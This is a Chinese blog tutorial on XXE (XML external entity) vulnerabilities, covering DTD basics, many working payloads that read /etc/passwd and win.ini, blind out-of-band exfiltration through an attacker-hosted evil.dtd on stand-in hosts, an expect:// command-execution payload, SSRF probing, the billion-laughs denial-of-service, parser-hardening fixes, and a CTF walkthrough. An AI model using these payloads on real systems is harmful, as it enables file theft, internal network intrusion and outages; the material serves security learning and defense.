XXE漏洞学习

 

0x00 什么是XML

 

1.定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

 

2.文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

 

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

 

 

3.DTD

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1.内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

 

2.引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

 

3.内外部DTD文档结合:

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

 

DTD中的一些重要的关键字:

 

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

 

4.实体类别介绍

实体主要分为一下四类

 

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

 

参数实体用%实体名称申明,引用时也用%实体名称;

其余实体直接用实体名称申明,引用时用&实体名称。

参数实体只能在DTD中申明,DTD中引用;

其余实体只能在DTD中申明,可在xml文档中引用。

 

注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

 

 

0x01 DTD 实体声明:

 

1. 内部实体声明

 

<!ENTITY 实体名称 “实体的值”>

 

一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

 

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

 

 

2. 外部实体声明

 

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

 

 

<!ENTITY 实体名称 SYSTEM “URI/URL”>

 

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

 

 

外部实体的默认协议

示例:

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

 

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

 

3. 参数实体声明

 

<!ENTITY % 实体名称 “实体的值”>
or
<!ENTITY % 实体名称 SYSTEM “URI”>

 

示例:

 

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

 

4. 引用公共实体

 

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

 

 

0x02 什么是XML外部实体攻击?

 

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。

 

Code1:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

 

Code2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY entityex SYSTEM "file:///folder/file">]>
<foo>
        <value>&entityex;</value>
</foo>

 

Code3:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>

 

以Code1代码为例,XML外部实体 ‘passwd’ 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’passwd’实体的值将从其后的URI中读取。

 

 

0x03 怎么甄别一个XML实体攻击漏洞?

 

XXE漏洞主要针对web服务危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。

最直接的回答就是: 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。

例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。

 

 

xxe漏洞检测

 

第一步检测XML是否会被成功解析:

 

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [ 
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

 

如果页面输出了my name is nMask,说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体:

 

<?xml version=”1.0” encoding=”UTF-8”?> 
<!DOCTYPE ANY [ 
<!ENTITY % name SYSTEM "http://localhost/index.html"> 
%name; 
]>

 

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。

 

从PHP代码层面上

最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

 

<?php
$data = file_get_contents('php://input');  //获取提交的XML数据
$xml = simplexml_load_string($data);  // 交给PHP的XML解析函数
echo $xml->name;
?>

 

 

0x04 xxe漏洞的危害

 

xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

危害1:读取任意文件

有回显情况

XML.php

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

 

访问XML.php可以读取etc/passwd文件内容

该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

 

实例展示:

 

可以使用如下的两种方式进行XXE注入攻击。

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

 

当然也可以进行内网站点的入侵。

 

 以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

 

无回显的情况

 

blind xxe漏洞方案1:

 

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容:

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

 

创建index.php写入以下内容:

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://localhost/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>

 

创建test.xml并写入以下内容:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

blind xxe漏洞方案2:

可以将文件内容发送到远程服务器,然后读取。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
        <!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
        %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

远程服务器的evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

blind xxe漏洞方案3:

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;

有报错直接查看报错信息。

无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

 

 

这里列举几个案例:

 

恶意引入外部实体1:

**XML内容**

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
      <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<aaa>&b;</aaa>

 

恶意引入外部实体2:

**XML内容**

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
     <!ENTITY % d SYSTEM "http://yourhost/evil.dtd">
     %d;
]>
<aaa>&b;</aaa>

DTD文件(evil.dtd)内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

 

恶意引入外部实体3

**XML内容**

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://yourhost/evil.dtd">
]>
<c>&b;</c>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

 

恶意引入外部实体(4)

 

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

危害2:命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls"> # id
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

 

该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

 

危害3:内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

 

危害4:攻击内网网站

 

该CASE是攻击内网struts2网站,远程执行系统命令。

 

危害5:拒绝服务攻击

2. To crash the server / Cause denial of service:

 <?xml version="1.0"?>
 <!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ]>
 <lolz>&lol9;</lolz>

 

上面样例代码2中的XXE漏洞攻击就是著名的’billion laughs’ 攻击。

(https://en.wikipedia.org/wiki/Billion_laughs),该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。

原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。

 

0x05 XXE漏洞修复与防御

 

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

 

 

方案一:使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

 

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

 

Python

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

方案二:过滤用户提交的XML数据

 

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

 

 

0x06 一道CTF题目

 

题目链接:

http://web.jarvisoj.com:9882/

 

目的很明确获取/home/ctf/flag.txt的内容

下面分析源码

 

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

 

很明显是AJAX异步传送数据

在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

解题步骤:

要先修改Content-Type: application/xml

然后加入xml脚本即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
<!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]>
<abc>&myentity;</abc>

 得到返回结果

<abc>CTF{XxE_15_n0T_S7range_Enough}

</abc>

 

0x07 参考链接

 

https://security.tencent.com/index.php/blog/msg/69

https://thief.one/2017/06/20/1/

https://www.jianshu.com/p/7325b2ef8fc9

https://blog.csdn.net/qq_31481187/article/details/53028221

http://netsecurity.51cto.com/art/201702/531996.htm

https://www.cnblogs.com/wfzWebSecuity/p/6681114.html

https://www.jianshu.com/p/7325b2ef8fc9

 

posted @ 2018-06-06 23:05  时光不改  阅读(11185)  评论(1编辑  收藏